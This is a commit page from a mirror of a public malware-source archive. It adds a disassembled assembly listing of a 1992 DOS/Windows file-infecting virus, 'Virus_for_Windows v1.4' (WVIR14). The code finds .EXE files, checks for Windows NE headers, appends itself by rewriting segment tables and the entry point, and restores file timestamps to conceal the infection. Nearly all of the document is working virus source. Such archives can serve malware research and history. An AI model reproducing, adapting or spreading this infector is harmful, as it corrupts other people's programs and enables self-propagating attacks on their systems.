mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,487 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ WVIR14 ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 1-Sep-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_11e equ 100h ;*
|
||||
data_12e equ 140h ;*
|
||||
data_13e equ 142h ;*
|
||||
data_14e equ 144h ;*
|
||||
data_15e equ 148h ;*
|
||||
data_16e equ 14Ah ;*
|
||||
data_17e equ 150h ;*
|
||||
data_18e equ 16Eh ;*
|
||||
data_19e equ 181h ;*
|
||||
data_20e equ 19Ch ;*
|
||||
data_21e equ 19Eh ;*
|
||||
data_22e equ 1A0h ;*
|
||||
data_23e equ 1A2h ;*
|
||||
|
||||
;------------------------------------------------------------ seg_a ----
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a , ds:seg_a , ss:stack_seg_b
|
||||
|
||||
db 249 dup (0)
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;
|
||||
; Program Entry Point
|
||||
;
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
|
||||
wvir14 proc far
|
||||
|
||||
start:
|
||||
mov ax,cs
|
||||
add ax,3Bh
|
||||
mov ds,ax
|
||||
cld ; Clear direction
|
||||
push es
|
||||
push ds
|
||||
pop es
|
||||
mov si,data_18e
|
||||
mov di,data_19e
|
||||
mov cx,0Dh
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
mov dx,data_17e
|
||||
mov ah,1Ah
|
||||
int 21h ; DOS Services ah=function 1Ah
|
||||
; set DTA(disk xfer area) ds:dx
|
||||
mov dx,17Bh
|
||||
xor cx,cx ; Zero register
|
||||
mov ah,4Eh
|
||||
loc_1:
|
||||
int 21h ; DOS Services ah=function 4Fh
|
||||
; find next filename match
|
||||
jc loc_2 ; Jump if carry Set
|
||||
mov dx,data_18e
|
||||
call sub_1
|
||||
mov ah,4Fh ; 'O'
|
||||
jmp short loc_1
|
||||
loc_2:
|
||||
mov dx,data_19e
|
||||
call sub_2
|
||||
pop es
|
||||
mov ax,4C00h
|
||||
int 21h ; DOS Services ah=function 4Ch
|
||||
; terminate with al=return code
|
||||
|
||||
wvir14 endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
jc loc_ret_4 ; Jump if carry Set
|
||||
xchg ax,bx
|
||||
mov si,100h
|
||||
call sub_3
|
||||
jc loc_3 ; Jump if carry Set
|
||||
cmp word ptr [si+14h],100h
|
||||
je loc_3 ; Jump if equal
|
||||
mov ax,5700h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get file date+time, bx=handle
|
||||
; returns cx=time, dx=time
|
||||
push cx
|
||||
push dx
|
||||
call sub_4
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,5701h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; set file date+time, bx=handle
|
||||
; cx=time, dx=time
|
||||
loc_3:
|
||||
mov ah,3Eh
|
||||
int 21h ; DOS Services ah=function 3Eh
|
||||
; close file, bx=file handle
|
||||
|
||||
loc_ret_4:
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
mov ax,3D02h
|
||||
int 21h ; DOS Services ah=function 3Dh
|
||||
; open file, al=mode,name@ds:dx
|
||||
jc loc_ret_4 ; Jump if carry Set
|
||||
xchg ax,bx
|
||||
mov si,100h
|
||||
call sub_3
|
||||
jc loc_3 ; Jump if carry Set
|
||||
cmp word ptr [si+14h],100h
|
||||
jne loc_3 ; Jump if not equal
|
||||
mov ax,5700h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; get file date+time, bx=handle
|
||||
; returns cx=time, dx=time
|
||||
push cx
|
||||
push dx
|
||||
call sub_5
|
||||
call sub_6
|
||||
pop dx
|
||||
pop cx
|
||||
mov ax,5701h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; set file date+time, bx=handle
|
||||
; cx=time, dx=time
|
||||
jmp short loc_3
|
||||
sub_2 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near
|
||||
call sub_8
|
||||
cmp word ptr [si],5A4Dh
|
||||
jne loc_5 ; Jump if not equal
|
||||
cmp word ptr [si+18h],40h
|
||||
jb loc_5 ; Jump if below
|
||||
mov ax,[si+3Ch]
|
||||
mov dx,[si+3Eh]
|
||||
call sub_16
|
||||
mov ds:data_20e,ax
|
||||
mov ds:data_21e,dx
|
||||
call sub_8
|
||||
cmp word ptr [si],454Eh
|
||||
jne loc_5 ; Jump if not equal
|
||||
cmp word ptr [si+0Ch],302h
|
||||
jne loc_5 ; Jump if not equal
|
||||
cmp byte ptr [si+32h],4
|
||||
jne loc_5 ; Jump if not equal
|
||||
cmp word ptr [si+36h],802h
|
||||
jne loc_5 ; Jump if not equal
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
loc_5:
|
||||
stc ; Set carry flag
|
||||
|
||||
loc_ret_6:
|
||||
retn
|
||||
sub_3 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_4 proc near
|
||||
mov ax,[si+16h]
|
||||
mov dx,140h
|
||||
call sub_7
|
||||
cmp word ptr ds:data_13e,3AEh
|
||||
jb loc_ret_6 ; Jump if below
|
||||
cmp byte ptr ds:data_14e,50h ; 'P'
|
||||
jne loc_ret_6 ; Jump if not equal
|
||||
mov ax,[si+0Eh]
|
||||
mov dx,148h
|
||||
call sub_7
|
||||
cmp word ptr ds:data_16e,4A8h
|
||||
jb loc_ret_6 ; Jump if below
|
||||
mov ax,ds:data_12e
|
||||
call sub_15
|
||||
mov dx,1A8h
|
||||
mov cx,2AEh
|
||||
nop
|
||||
call sub_9
|
||||
call sub_13
|
||||
mov dx,1A8h
|
||||
mov cx,2AEh
|
||||
nop
|
||||
call sub_12
|
||||
mov ax,word ptr ds:[148h]
|
||||
call sub_15
|
||||
mov dx,1A8h
|
||||
mov cx,0A8h
|
||||
nop
|
||||
call sub_9
|
||||
call sub_13
|
||||
mov dx,1A8h
|
||||
mov cx,0A8h
|
||||
nop
|
||||
call sub_12
|
||||
push word ptr ds:[144h]
|
||||
pop word ptr ds:[1A2h]
|
||||
and word ptr ds:[144h],0FEFFh
|
||||
mov ax,[si+16h]
|
||||
mov dx,140h
|
||||
call sub_10
|
||||
xor ax,ax ; Zero register
|
||||
cwd ; Word to double word
|
||||
call sub_14
|
||||
push word ptr [si+14h]
|
||||
pop word ptr ds:[1A0h]
|
||||
mov word ptr [si+14h],100h
|
||||
call sub_11
|
||||
mov ax,word ptr ds:[140h]
|
||||
call sub_15
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,100h
|
||||
mov cx,2AEh
|
||||
nop
|
||||
call sub_12
|
||||
pop ds
|
||||
mov ax,word ptr ds:[148h]
|
||||
call sub_15
|
||||
mov dx,100h
|
||||
mov cx,0A8h
|
||||
nop
|
||||
call sub_12
|
||||
retn
|
||||
sub_4 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
mov ax,[si+0Eh]
|
||||
mov dx,148h
|
||||
call sub_7
|
||||
mov ax,ds:data_15e
|
||||
call sub_15
|
||||
mov dx,100h
|
||||
mov cx,0A8h
|
||||
nop
|
||||
call sub_9
|
||||
retn
|
||||
sub_5 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near
|
||||
push word ptr ds:data_23e
|
||||
pop word ptr ds:data_14e
|
||||
mov ax,[si+16h]
|
||||
mov dx,140h
|
||||
call sub_10
|
||||
push word ptr ds:data_22e
|
||||
pop word ptr [si+14h]
|
||||
xor ax,ax ; Zero register
|
||||
cwd ; Word to double word
|
||||
call sub_14
|
||||
call sub_11
|
||||
call sub_13
|
||||
sub ax,0A8h
|
||||
nop
|
||||
sbb dx,0
|
||||
push ax
|
||||
push dx
|
||||
call sub_16
|
||||
mov dx,1A8h
|
||||
mov cx,0A8h
|
||||
nop
|
||||
call sub_9
|
||||
mov ax,ds:data_15e
|
||||
call sub_15
|
||||
mov dx,1A8h
|
||||
mov cx,0A8h
|
||||
nop
|
||||
call sub_12
|
||||
pop dx
|
||||
pop ax
|
||||
sub ax,2AEh
|
||||
nop
|
||||
sbb dx,0
|
||||
push ax
|
||||
push dx
|
||||
call sub_16
|
||||
mov dx,1A8h
|
||||
mov cx,2AEh
|
||||
nop
|
||||
call sub_9
|
||||
mov ax,word ptr ds:[140h]
|
||||
call sub_15
|
||||
mov dx,1A8h
|
||||
mov cx,2AEh
|
||||
nop
|
||||
call sub_12
|
||||
pop dx
|
||||
pop ax
|
||||
call sub_16
|
||||
mov cx,0
|
||||
call sub_12
|
||||
retn
|
||||
sub_6 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_7 proc near
|
||||
push dx
|
||||
dec ax
|
||||
mov cx,8
|
||||
mul cx ; dx:ax = reg * ax
|
||||
add ax,[si+22h]
|
||||
adc dx,0
|
||||
call sub_14
|
||||
pop dx
|
||||
mov cx,8
|
||||
jmp short loc_7
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_8:
|
||||
mov dx,data_11e
|
||||
mov cx,40h
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_9:
|
||||
loc_7:
|
||||
mov ah,3Fh
|
||||
int 21h ; DOS Services ah=function 3Fh
|
||||
; read file, bx=file handle
|
||||
; cx=bytes to ds:dx buffer
|
||||
retn
|
||||
sub_7 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_10 proc near
|
||||
push dx
|
||||
dec ax
|
||||
mov cx,8
|
||||
mul cx ; dx:ax = reg * ax
|
||||
add ax,[si+22h]
|
||||
adc dx,0
|
||||
call sub_14
|
||||
pop dx
|
||||
mov cx,8
|
||||
jmp short loc_8
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_11:
|
||||
mov dx,data_11e
|
||||
mov cx,40h
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_12:
|
||||
loc_8:
|
||||
mov ah,40h
|
||||
int 21h ; DOS Services ah=function 40h
|
||||
; write file bx=file handle
|
||||
; cx=bytes from ds:dx buffer
|
||||
retn
|
||||
sub_10 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_13 proc near
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
cwd ; Word to double word
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
retn
|
||||
sub_13 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_14 proc near
|
||||
add ax,ds:data_20e
|
||||
adc dx,ds:data_21e
|
||||
jmp short loc_9
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_15:
|
||||
mov cx,10h
|
||||
mul cx ; dx:ax = reg * ax
|
||||
add ax,100h
|
||||
adc dx,0
|
||||
jmp short loc_9
|
||||
db 33h,0C0h, 99h
|
||||
|
||||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
sub_16:
|
||||
loc_9:
|
||||
xchg cx,dx
|
||||
xchg ax,dx
|
||||
mov ax,4200h
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
retn
|
||||
sub_14 endp
|
||||
|
||||
;* No entry point to code
|
||||
xchg cx,dx
|
||||
xchg ax,dx
|
||||
mov ax,4201h
|
||||
int 21h ; DOS Services ah=function 42h
|
||||
; move file ptr, bx=file handle
|
||||
; al=method, cx,dx=offset
|
||||
retn
|
||||
db ' Virus_for_Windows v1.4 '
|
||||
db 259 dup (0)
|
||||
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
|
||||
db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
|
||||
db 'bbbbbbbbccccccccdddddddddddddddd'
|
||||
db 'ddddddddddddddddddddddddddd*.EXE'
|
||||
db 0
|
||||
db 'eeeeeeeeeeeee'
|
||||
db 00h, 00h, 80h, 00h, 00h, 00h
|
||||
db 5Ch, 00h, 00h, 00h
|
||||
db 6Ch
|
||||
db 11 dup (0)
|
||||
db 4Dh, 4Bh, 39h, 32h
|
||||
db 8 dup (0)
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
;------------------------------------------------------ stack_seg_b ----
|
||||
|
||||
stack_seg_b segment word stack 'STACK'
|
||||
|
||||
db 8192 dup (0)
|
||||
|
||||
stack_seg_b ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
Reference in New Issue
Block a user